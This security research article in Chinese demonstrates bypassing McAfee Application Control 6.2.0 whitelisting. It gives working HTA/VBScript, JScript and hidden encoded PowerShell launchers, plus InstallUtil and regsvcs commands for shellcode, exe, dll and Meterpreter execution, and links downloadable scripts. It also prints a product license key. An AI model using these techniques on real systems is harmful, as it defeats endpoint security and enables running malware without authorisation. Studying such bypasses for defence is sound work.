應用白名單(Application Whitelisting)是用來防止未認證程序運行的一個計算機管理實踐。它的目的是保護計算機和網絡不受應用傷害。 McAfee Application Control作為其中比較有代表性的產品,使用動態的信任模型,避免了單調的人工更新許可清單工作。由于企業會面臨來自網絡的大量未知軟件,因此這款可以集中管理的解決方案有助于及時控制系統安全策略,滿足企業的運營需求。
那么,我們就試試看,究竟能不能繞過最新版的McAfee Application Control 6.2.0(截至投稿日期)
McAfee Application Control對常見文件類型如exe、dll、bat作了限制,白名單外的這些文件均無法運行。所以這次的目標就是繞過限制來執行文件。
操作系統:win7x86
到http://www.mcafee.com/us/products/application-control.aspx填寫信息并安裝
管理員權限執行McAfee Solidifier 命令行
1.查看許可證是否安裝
執行
sadmin license list
2.添加許可證
在McAfee_Application_Control_v6_2_0_License.txt中會有
執行
sadmin license add 2708-0108-1402-2208-0710
如圖
3.重啟服務Application Control service
執行
net stop scsrvc
net start scsrvc
1.創建白名單規則
執行
sadmin solidify
需要等待很長一段時間,為當前系統中的所有文件創建規則,如果未添加許可證,該功能無法使用
2.查看白名單狀態
執行
sadmin status
確保狀態為Solidified
如圖
1.開啟程序控制,禁止白名單以外的程序運行
執行
sadmin enable
如圖
重啟系統,重啟服務,執行
net stop scsrvc
net start scsrvc
2.查看狀態
執行
sadmin status
確保McAfee Solidifier狀態為Enabled
重啟后如圖
3.測試
新建一些測試文件
執行
sadmin list-unsolidified
查看白名單以外的程序
如圖
執行
sadmin scripts list
查看禁止執行的文件類型
如圖
分別執行exe、bat、dll,均被限制,如圖
無法執行自己的程序
根據白名單系統的特點,繞過的思路如下:
找到系統中的特定白名單程序
利用該程序執行代碼
編寫代碼使其執行我們自己的程序
找到系統中未被攔截的特定程序
利用該程序執行代碼
編寫代碼使其執行我們自己的程序
最終我們還是做到了:D
利用hta文件
Tips:
hta是HTML Applications的縮寫,是利用HTML和Dynamic HTML(DHTML)開發應用程序
利用如下代碼即可通過hta執行vbs
#!html
<HTML>
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
</script>
</HEAD>
<BODY>
</BODY>
</HTML>
如圖
然而并不完美,hta的界面會默認顯示,所以我們需要進一步修改來隱藏hta的主界面
加入屬性指定hta執行后最小化顯示,完整的代碼如下
#!html
<HTML>
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD>
<BODY>
</BODY>
</HTML>
保存為vbs.hta,執行如圖
jscript未被McAfee Application Control限制,因此可以被利用
如下代碼保存為calc.js
#!js
var objShell = new ActiveXObject("WScript.shell");
objShell.run('calc.exe');
執行成功,如圖
如果可以執行powershell代碼,還擔心繞不過McAfee Application Control嗎?
當然,默認是肯定無法執行的,如圖
方法1:
將ps1文件內容保存為script.txt,然后進入Powershell環境執行如下代碼:
Get-Content script.txt | iex
但是如果txt中含有函數,會產生如下錯誤,需要更改腳本內容,錯誤如圖
方法2:
利用hta可以執行vbs,再用vbs執行Powershell
使用如下代碼并保存為vbs+ps.hta
#!html
<HTML>
<HEAD>
<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
WshShell.Run Connect, 4, true
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</HEAD>
<BODY>
</BODY>
</HTML>
執行后先調用vbs腳本,再執行Powershell命令
方法3:
利用快捷方式執行Powershell
右鍵新建一個快捷方式,填入如下代碼,并保存為ps.lnk
powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==
如圖
運行快捷方式后執行Powershell命令,彈出計算器
方法4:
利用Powershell環境直接執行,簡單粗暴
cmd下執行Powershell.exe進入Powershell環境,然后在下面直接輸入所有命令即可
目前我們已經可以在安裝McAfee Application Control的系統中執行vbs、jscript、Powershell,那么利用上述方法可以實現什么呢?
方法1:
利用vbs,將shellcode轉為vbs,然后通過hta執行
參考地址:
http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/
方法2:
利用js
方法3:
利用Powershell
在之前的文章對通過Powershell執行shellcode有過詳細介紹,對其中的ps1文件細節作簡單修改保存為1-CodeExecution-Shellcode.ps1
進入Powershell環境,然后在里面執行1-CodeExecution-Shellcode.ps1的所有內容
如圖
方法4:
利用InstallUtil
在之前的文章《利用白名單繞過限制的更多測試》對此有過詳細介紹
上傳shellcode.cs,執行如下命令:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /out:exeshell.exe Shellcode.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
如圖
方法5:
如果系統支持.net4.0,可以利用regsvcs
參考地址:
https://gist.github.com/subTee/fb09ef511e592e6f7993
上傳key.snk和regsvcs.cs,執行如下命令:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library
/out:regsvcs.dll /keyfile:key.snk regsvcs.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
利用Powershell
在之前的文章對通過Powershell執行exe有過詳細介紹,對其中的ps1文件細節作簡單修改保存為2-CodeExecution-Exe.ps1
進入Powershell環境,然后在里面執行2-CodeExecution-Exe.ps1的所有內容
如圖
利用Powershell
在之前的文章對通過Powershell執行exe有過詳細介紹,對其中的ps1文件細節作簡單修改保存為3-CodeExecution-dll.ps1
進入Powershell環境,然后在里面執行3-CodeExecution-dll.ps1的所有內容
如圖
利用Powershell
在之前的文章對通過Powershell執行exe有過詳細介紹,對其中的ps1文件細節作簡單修改保存為4-Process Injection-Meterpreter.ps1
進入Powershell環境,然后在里面執行4-Process Injection-Meterpreter.ps1的所有內容
如圖
我們成功在安裝McAfee Application Control的系統上執行了vbs、exe、dll以及注入meterpreter。
當然McAfee Application Control還有其他一些保護功能,我們的研究測試也不只如此。
注:
以下文件可供下載
1-CodeExecution-Shellcode.ps1
2-CodeExecution-Exe.ps1
3-CodeExecution-dll.ps1
4-Process Injection-Meterpreter.ps1
calc.js
key.snk
ps.lnk
regsvcs.cs
Shellcode.cs
vbs+ps.hta
vbs.hta
下載地址:
https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution
參考鏈接:
本文由三好學生原創并首發于烏云drops,轉載請注明